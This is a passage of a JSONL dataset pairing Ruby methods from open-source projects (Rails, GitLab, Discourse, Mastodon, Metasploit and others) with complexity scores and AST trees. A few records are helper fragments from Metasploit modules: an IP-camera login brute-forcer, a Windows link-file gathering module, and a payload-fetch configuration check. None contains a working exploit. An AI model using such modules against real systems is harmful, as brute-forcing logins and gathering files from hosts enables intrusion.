end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_knowledge_graph_replicas\"]},{\"type\":\"sym\",\"children\":[\"indexed_at\"]},{\"type\":\"sym\",\"children\":[\"datetime_with_timezone\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_knowledge_graph_replicas\"]},{\"type\":\"sym\",\"children\":[\"schema_version\"]},{\"type\":\"sym\",\"children\":[\"smallint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"p_knowledge_graph_replicas\"]},{\"type\":\"sym\",\"children\":[\"schema_version\"]}]}]}]}","id":"d4acf641-010a-49e4-bb9d-b13231162d7d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20250114160500_backfill_rag_embeddings.rb","start_line":3,"raw_source":"def up\n    if table_exists?(:ai_document_fragment_embeddings)\n      not_backfilled =\n        DB.query_single(\"SELECT COUNT(*) FROM ai_document_fragments_embeddings\").first.to_i == 0\n\n      if not_backfilled\n        # Copy data from old tables to new tables\n        execute <<~SQL\n          INSERT INTO ai_document_fragments_embeddings (rag_document_fragment_id, model_id, model_version, strategy_id, strategy_version, digest, embeddings, created_at, updated_at)\n          SELECT * FROM ai_document_fragment_embeddings;\n        SQL\n      end\n    end\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"sym\",\"children\":[\"ai_document_fragment_embeddings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"not_backfilled\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT COUNT(*) FROM ai_document_fragments_embeddings\"]}]},\"first\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"not_backfilled\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO ai_document_fragments_embeddings (rag_document_fragment_id, model_id, model_version, strategy_id, strategy_version, digest, embeddings, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT * FROM ai_document_fragment_embeddings;\\n\"]}]}]},null]}]},null]}]}","id":"6d2f369d-2449-4452-b9f1-2a355fd165ae"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/registrations_controller.rb","start_line":91,"raw_source":"def check_enabled_registrations\n    redirect_to new_user_session_path, alert: I18n.t('devise.failure.closed_registrations', email: Setting.site_contact_email) unless allowed_registration?(request.remote_ip, @invite)\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_enabled_registrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_registration?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]},{\"type\":\"ivar\",\"children\":[\"@invite\"]}]},null,{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_user_session_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"devise.failure.closed_registrations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"site_contact_email\"]}]}]}]}]}]}]}]}]}","id":"dde71d4c-ba6d-4529-9581-6ac59ba349c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb","start_line":49,"raw_source":"def build_separator(widths)\n            padding = 1\n            \"+\" + widths.map { |w| \"-\" * (w + (padding * 2)) }.join(\"+\") + \"+\"\n          end","complexity_score":14.33,"ast_json":"{\"type\":\"def\",\"children\":[\"build_separator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"+\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"*\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"+\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"+\"]}]}]}]}","id":"0f1524d2-20e0-45b6-887d-465e8b1714bb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_remote_console_worker/runner.rb","start_line":4,"raw_source":"def heartbeat(*args)\n    ret = super\n    check_internal_thread\n    ret\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"heartbeat\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_internal_thread\"]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"56f6beed-c590-46fd-b3d6-a9835a22a148"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":826,"raw_source":"def test_verify_authenticity_token_is_not_prepended_by_default\n    @controller = PrependDefaultController.new\n    get :index\n    expected_callback_order = [\"custom_action\", \"verify_authenticity_token\"]\n    assert_equal(expected_callback_order, @controller.called_callbacks)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_verify_authenticity_token_is_not_prepended_by_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrependDefaultController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_callback_order\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"custom_action\"]},{\"type\":\"str\",\"children\":[\"verify_authenticity_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_callback_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"called_callbacks\"]}]}]}]}","id":"a4fa3304-ae0b-4acd-b660-1344e61035e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/snippets/update_service.rb","start_line":17,"raw_source":"def execute(snippet)\n      return invalid_params_error(snippet) unless valid_params?\n\n      if visibility_changed?(snippet) && !visibility_allowed?(visibility_level)\n        return forbidden_visibility_error(snippet)\n      end\n\n      update_snippet_attributes(snippet)\n\n      files = snippet.all_files.map { |f| { path: f } } + file_paths_to_commit\n\n      if perform_spam_check\n        snippet.check_for_spam(user: current_user, action: :update, extra_features: { files: files })\n      end\n\n      if save_and_commit(snippet)\n        track_internal_event('update_snippet', project: project, user: current_user)\n\n        ServiceResponse.success(payload: { snippet: snippet })\n      else\n        snippet_error_response(snippet, FAILED_TO_UPDATE_ERROR)\n      end\n    end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_params?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid_params_error\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_changed?\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_allowed?\",{\"type\":\"send\",\"children\":[null,\"visibility_level\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_visibility_error\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_snippet_attributes\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"all_files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"file_paths_to_commit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_spam_check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"check_for_spam\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_features\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"files\"]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"save_and_commit\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_internal_event\",{\"type\":\"str\",\"children\":[\"update_snippet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"snippet\"]},{\"type\":\"lvar\",\"children\":[\"snippet\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"snippet_error_response\",{\"type\":\"lvar\",\"children\":[\"snippet\"]},{\"type\":\"const\",\"children\":[null,\"FAILED_TO_UPDATE_ERROR\"]}]}]}]}]}","id":"39049f4f-3ed6-49de-b402-9ae1cf6c6802"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_ci_cd_setting.rb","start_line":90,"raw_source":"def keep_latest_artifacts_available?\n    # The project level feature can only be enabled when the feature is enabled instance wide\n    Gitlab::CurrentSettings.current_application_settings.keep_latest_artifact? && keep_latest_artifact?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"keep_latest_artifacts_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"keep_latest_artifact?\"]},{\"type\":\"send\",\"children\":[null,\"keep_latest_artifact?\"]}]}]}","id":"d13050a0-3681-4f9e-a3ae-ad91ddd90b9e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/bavision_cam_login.rb","start_line":128,"raw_source":"def run_host(ip)\n    unless scanner(ip).check_setup\n      print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')\n      return\n    end\n\n    bruteforce(ip)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scanner\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},\"check_setup\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"Target is not BAVision IP camera web server.\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"bruteforce\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}","id":"76391e0f-3ad0-49fe-b5d9-4a7c7002513c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_creator.rb","start_line":583,"raw_source":"def save_post\n    @post.disable_rate_limits! if skip_validations?\n    @post.skip_validation = skip_validations?\n    saved = @post.save\n    rollback_from_errors!(@post) unless saved\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_post\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_validations?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"disable_rate_limits!\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"skip_validation=\",{\"type\":\"send\",\"children\":[null,\"skip_validations?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"saved\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"save\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved\"]},null,{\"type\":\"send\",\"children\":[null,\"rollback_from_errors!\",{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]}]}","id":"5c6665ed-c4db-470a-b454-71e2cbbcc232"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/settings/authentication/upsert.rb","start_line":33,"raw_source":"def self.email_login_disabled_with_one_or_less_auth_providers(enabled_providers)\n        !::Settings::Authentication.allow_email_password_login &&\n          enabled_providers.count <= 1\n      end","complexity_score":6.13,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"email_login_disabled_with_one_or_less_auth_providers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"enabled_providers\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"Authentication\"]},\"allow_email_password_login\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled_providers\"]},\"count\"]},\"<=\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"8012d0e3-9052-41fd-80a8-7949379e6b92"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/column_type/scheduling_mode.rb","start_line":52,"raw_source":"def parse(raw_value)\n        case raw_value.downcase.strip\n        when \"\"\n          nil\n        when \"manual\", \"true\"\n          true\n        when \"automatic\", \"false\"\n          false\n        else\n          raise \"Invalid scheduling mode: #{raw_value.strip}. \" \\\n                \"Expected 'manual' or 'automatic'.\"\n        end\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"downcase\"]},\"strip\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"manual\"]},{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"automatic\"]},{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid scheduling mode: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"str\",\"children\":[\"Expected 'manual' or 'automatic'.\"]}]}]}]}]}","id":"391d3707-df3a-4a82-b80b-bc510216e05b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1416,"raw_source":"def test_partial_collection_with_as_and_iteration\n    get :partial_collection_with_as_and_iteration\n    assert_equal \"3-0: david-first3-1: mary3-2: christine-last\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_partial_collection_with_as_and_iteration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"partial_collection_with_as_and_iteration\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"3-0: david-first3-1: mary3-2: christine-last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"b78cd5ce-e8b7-4e65-89b1-a336f3486e91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/base.rb","start_line":59,"raw_source":"def pagination_data\n          @pagination_data || empty_pagination_data\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pagination_data\"]},{\"type\":\"send\",\"children\":[null,\"empty_pagination_data\"]}]}]}","id":"acf3d9a7-7608-4515-b58b-3d3fd91fed46"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/forms/storages/admin/managed_project_folders/application_password_input.rb","start_line":57,"raw_source":"def provider_type_link\n      render(\n        Primer::Beta::Link.new(\n          href: ::UrlBuilder.url(@storage.uri, \"settings/admin/openproject\"),\n          underline: true,\n          target: \"_blank\"\n        )\n      ) { I18n.t(\"storages.instructions.#{@storage}.integration\") }\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"provider_type_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Link\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"uri\"]},{\"type\":\"str\",\"children\":[\"settings/admin/openproject\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"underline\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"_blank\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"storages.instructions.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]}]},{\"type\":\"str\",\"children\":[\".integration\"]}]}]}]}]}","id":"d2baca15-97da-4722-bacb-c1dff385b702"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/dumplinks.rb","start_line":222,"raw_source":"def get_lnk_file_mac(file_stat, path, file_name)\n    data_out = \"#{path + file_name}:\\n\"\n    data_out += \"\\tAccess Time       = #{file_stat.atime}\\n\"\n    data_out += \"\\tCreation Date     = #{file_stat.ctime}\\n\"\n    data_out += \"\\tModification Time = #{file_stat.mtime}\\n\"\n    return data_out\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_lnk_file_mac\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_stat\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_out\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"str\",\"children\":[\":\\n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_out\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tAccess Time       = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_stat\"]},\"atime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_out\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tCreation Date     = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_stat\"]},\"ctime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_out\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tModification Time = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_stat\"]},\"mtime\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_out\"]}]}]}]}","id":"3e089c5c-641b-4706-9d2e-0d2465cb3d9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/pipeline_test_report_builder.rb","start_line":51,"raw_source":"def latest_pipeline\n    fetch(\"#{target_project_api_base_url}/pipelines/#{current_pipeline_id}\")\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_project_api_base_url\"]}]},{\"type\":\"str\",\"children\":[\"/pipelines/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_pipeline_id\"]}]}]}]}]}","id":"be8ef2e4-70b3-43bc-a458-f49dfdfaa53f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb","start_line":115,"raw_source":"def save_image\n            page.save_screenshot(absolute_image_path)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"save_screenshot\",{\"type\":\"send\",\"children\":[null,\"absolute_image_path\"]}]}]}","id":"aa0d0e2e-6c6e-4387-94dc-e3c70a02279c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch.rb","start_line":216,"raw_source":"def _check_tftp_file\n    # Older Linux tftp clients do not support saving the file under a different name\n    unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?\n      print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')\n      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_check_tftp_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FETCH_WRITABLE_DIR\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FETCH_FILENAME\"]}]},\"blank?\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The Linux TFTP client does not support saving a file under a different name than the URI.\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client\"]}]}]}]}]}","id":"ca0b03ff-5dc2-47e6-bad6-6027cbea8e97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/redis/hll_spec.rb","start_line":122,"raw_source":"def count_unique_events(keys)\n    described_class.count(keys: keys)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"count_unique_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"count\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}]}","id":"6aa12693-3c55-4aed-b6f7-cdabd2acd364"}
